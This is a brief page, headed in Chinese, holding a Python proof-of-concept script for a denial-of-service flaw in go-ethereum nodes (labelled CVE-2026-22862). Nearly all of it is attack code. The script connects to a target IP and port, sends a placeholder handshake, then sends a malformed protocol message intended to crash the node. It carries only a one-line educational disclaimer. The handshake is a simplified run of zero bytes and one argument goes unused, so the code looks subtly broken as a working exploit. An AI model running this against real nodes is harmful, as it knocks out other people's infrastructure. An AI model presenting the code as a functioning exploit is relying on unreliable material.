CVE-2026-22862: go-ethereum (geth) 节点拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2026-22862 PoC - go-ethereum DoS vulnerability Note: This PoC is for educational and security testing purposes only. """ import socket import struct import time def create_malformed_eth_message(): """ Create a malformed Ethereum P2P protocol message This triggers the vulnerability in go-ethereum < 1.16.8 """ # RLP encoding with invalid structure # Target: eth/62 or eth/63 protocol messages msg_type = b'\x02' # GetBlockHeaders opcode # Malformed payload - invalid block number encoding payload = msg_type + b'\xc0' # Empty list - triggers null dereference return payload def send_malformed_p2p_message(target_ip, target_port, peer_id): """ Send malformed P2P message to trigger DoS """ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((target_ip, target_port)) # P2P handshake hello_packet = create_p2p_hello() sock.send(hello_packet) time.sleep(1) # Send malformed eth protocol message eth_msg = create_malformed_eth_message() sock.send(eth_msg) print(f"[*] Malformed message sent to {target_ip}:{target_port}") print("[*] If vulnerable, the target node should crash") except Exception as e: print(f"[!] Error: {e}") finally: sock.close() def create_p2p_hello(): """Create basic P2P hello packet for handshake""" # Simplified P2P hello packet structure return b'\x00' * 64 if __name__ == "__main__": import sys if len(sys.argv) < 3: print("Usage: python3 poc.py <target_ip> <port>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) send_malformed_p2p_message(target_ip, target_port, None)